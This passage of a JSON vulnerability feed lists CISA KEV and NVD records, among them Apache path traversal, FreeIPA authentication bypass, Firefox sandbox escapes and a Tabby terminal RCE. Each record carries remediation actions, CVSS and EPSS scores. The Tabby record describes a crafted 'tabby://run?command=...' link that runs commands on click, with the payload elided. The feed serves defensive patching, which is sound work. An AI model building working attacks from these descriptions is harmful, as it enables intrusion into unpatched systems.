exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-41773","cveId":"CVE-2021-41773","aliases":[],"kind":"vulnerability","title":"Apache HTTP Server Path Traversal Vulnerability","summary":"Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default �require all denied� or if CGI scripts are enabled. The original patch issued under this CVE ID is insufficient, please review remediation information under CVE-2021-42013.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"HTTP Server","stacks":["Apache HTTP Server","Apache","HTTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99992,"percentile":0.99986,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-41773&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-41773","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-41773 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-41773&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-41773, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42013","cveId":"CVE-2021-42013","aliases":[],"kind":"vulnerability","title":"Apache HTTP Server Path Traversal Vulnerability","summary":"Apache HTTP Server contains a path traversal vulnerability that allows an attacker to perform remote code execution if files outside directories configured by Alias-like directives are not under default require all denied or if CGI scripts are enabled. This CVE ID resolves an incomplete patch for CVE-2021-41773.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"HTTP Server","stacks":["Apache HTTP Server","Apache","HTTP Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99964,"percentile":0.99976,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42013","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42013 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-42258","cveId":"CVE-2021-42258","aliases":[],"kind":"vulnerability","title":"BQE BillQuick Web Suite SQL Injection Vulnerability","summary":"BQE BillQuick Web Suite contains an SQL injection vulnerability when accessing the username parameter that may allow for unauthenticated, remote code execution.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"BQE","product":"BillQuick Web Suite","stacks":["BQE","BillQuick Web Suite"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2021-11-17","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74426,"percentile":0.99488,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-42258&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-42258","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-42258 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-42258&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-42258, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-11861","cveId":"CVE-2026-11861","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services,...","summary":"A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.","detail":"A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-08-20T11:16:19.270Z","updatedAt":"2026-10-26T14:16:37.957Z","regions":["Global"],"vendor":"freeipa","product":"freeipa","stacks":["Freeipa","freeipa"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-11861","asOf":"2026-10-26T14:16:37.957Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-11861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11861","type":"primary","publishedAt":"2026-08-20T11:16:19.270Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://access.redhat.com/security/cve/CVE-2026-11861","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12316","cveId":"CVE-2026-12316","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the DOM: Security component.","summary":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.","detail":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:32.257Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12316","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12316","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12316","type":"primary","publishedAt":"2026-06-16T13:16:32.257Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12315","cveId":"CVE-2026-12315","aliases":[],"kind":"vulnerability","title":"Mitigation bypass in the DOM: Security component.","summary":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Mitigation bypass in the DOM: Security component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:32.147Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12315","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12315","type":"primary","publishedAt":"2026-06-16T13:16:32.147Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12304","cveId":"CVE-2026-12304","aliases":[],"kind":"vulnerability","title":"Same-origin policy bypass in the Networking: Cookies component.","summary":"Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Same-origin policy bypass in the Networking: Cookies component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:30.643Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12304","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12304","type":"primary","publishedAt":"2026-06-16T13:16:30.643Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12296","cveId":"CVE-2026-12296","aliases":[],"kind":"vulnerability","title":"Sandbox escape in the Security: Process Sandboxing component.","summary":"Sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.","detail":"Sandbox escape in the Security: Process Sandboxing component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:29.833Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12296","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12296","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12296","type":"primary","publishedAt":"2026-06-16T13:16:29.833Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12295","cveId":"CVE-2026-12295","aliases":[],"kind":"vulnerability","title":"Sandbox escape in the DOM: Navigation component.","summary":"Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.","detail":"Sandbox escape in the DOM: Navigation component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:29.737Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12295","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12295","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12295","type":"primary","publishedAt":"2026-06-16T13:16:29.737Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12294","cveId":"CVE-2026-12294","aliases":[],"kind":"vulnerability","title":"Sandbox escape in the DOM: Workers component.","summary":"Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.","detail":"Sandbox escape in the DOM: Workers component. This vulnerability was fixed in Firefox 152, Firefox ESR 140.12, Firefox ESR 115.37, Thunderbird 152, and Thunderbird 140.12.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:29.643Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12294","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12294","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12294","type":"primary","publishedAt":"2026-06-16T13:16:29.643Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-12293","cveId":"CVE-2026-12293","aliases":[],"kind":"vulnerability","title":"Use-after-free in the Graphics: WebGPU component.","summary":"Use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.","detail":"Use-after-free in the Graphics: WebGPU component. This vulnerability was fixed in Firefox 152 and Thunderbird 152.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-06-16T13:16:29.553Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-12293","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-12293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-12293","type":"primary","publishedAt":"2026-06-16T13:16:29.553Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-57/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45323","cveId":"CVE-2026-45323","aliases":[],"kind":"vulnerability","title":"MeshCore Card provides MeshCore Lovelace card for Home Assistant.","summary":"MeshCore Card provides MeshCore Lovelace card for Home Assistant. Prior to 0.3.3, Meshcore node names are rendered without HTML escaping in meshcore-card, allowing any node within direct or indirect (repeated) radio range to execute arbitrary javascript in the Home Assistant frontend of anyone viewing the card. This vulnerability is fixed in 0.3.3.","detail":"MeshCore Card provides MeshCore Lovelace card for Home Assistant. Prior to 0.3.3, Meshcore node names are rendered without HTML escaping in meshcore-card, allowing any node within direct or indirect (repeated) radio range to execute arbitrary javascript in the Home Assistant frontend of anyone viewing the card. This vulnerability is fixed in 0.3.3.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-28T18:16:35.300Z","updatedAt":"2026-10-26T13:10:00.140Z","regions":["Global"],"vendor":"jpettitt","product":"meshcore card","stacks":["Jpettitt","meshcore card"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45323","asOf":"2026-10-26T13:10:00.140Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45323","type":"primary","publishedAt":"2026-05-28T18:16:35.300Z","checkedAt":"2026-10-26T14:10:55.205Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/jpettitt/meshcore-card/security/advisories/GHSA-5vrg-xpcj-xppc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:10:55.205Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45035","cveId":"CVE-2026-45035","aliases":[],"kind":"vulnerability","title":"Tabby (formerly Terminus) is a highly configurable terminal emulator.","summary":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby registers itself as the handler for the tabby:// URL scheme on all platforms. The URL scheme handler supports a run command that directly executes OS commands with no user confirmation, sanitization, or sandboxing. An attacker can craft a malicious link (tabby://run?command=...) and deliver it via a website, email, chat message, or any other medium. When a victim clicks the link, the OS launches Tabby which immediately spawns the specified command as a child process with the user's full privileges. This is a zero-click-after-link-visit RCE vulnerability. This vulnerability is fixed in 1.0.233.","detail":"Tabby (formerly Terminus) is a highly configurable terminal emulator. Prior to 1.0.233, Tabby registers itself as the handler for the tabby:// URL scheme on all platforms. The URL scheme handler supports a run command that directly executes OS commands with no user confirmation, sanitization, or sandboxing. An attacker can craft a malicious link (tabby://run?command=...) and deliver it via a website, email, chat message, or any other medium. When a victim clicks the link, the OS launches Tabby which immediately spawns the specified command as a child process with the user's full privileges. This is a zero-click-after-link-visit RCE vulnerability. This vulnerability is fixed in 1.0.233.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:48.350Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"tabby","product":"tabby","stacks":["Tabby","tabby"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45035","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45035","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45035","type":"primary","publishedAt":"2026-05-15T17:16:48.350Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/Eugeny/tabby/security/advisories/GHSA-hf8h-rjrf-3jg6","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and 